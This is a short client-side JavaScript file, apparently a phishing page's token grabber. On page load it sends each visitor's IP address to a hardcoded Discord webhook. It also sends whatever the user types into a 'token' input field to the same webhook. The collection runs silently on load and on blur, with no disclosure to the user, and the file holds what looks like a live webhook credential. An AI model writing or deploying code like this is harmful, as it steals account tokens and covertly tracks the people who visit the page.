const WEBHOOK_URL = "https://discord.com/api/webhooks/1401675195227574363/2MlmcsgsuoNyDZW8M5lZzr3hz2sssH41ki0VQbWA_6i8zkUsVshciH_HHBRNYL6sUwjR"; // Function to send data to webhook function sendToWebhook(data) { fetch(WEBHOOK_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ content: data }) }) .catch(error => console.error('Error sending to webhook:', error)); } // Send IP on page load window.addEventListener('load', function() { fetch('https://api.ipify.org?format=json') .then(response => response.json()) .then(data => { sendToWebhook(`New visitor IP: ${data.ip}`); }) .catch(error => console.error('Error getting IP:', error)); }); // Send token when entered const tokenInput = document.getElementById('token'); tokenInput.addEventListener('blur', function() { const token = tokenInput.value.trim(); if (token) { sendToWebhook(`Token entered: ${token}`); } });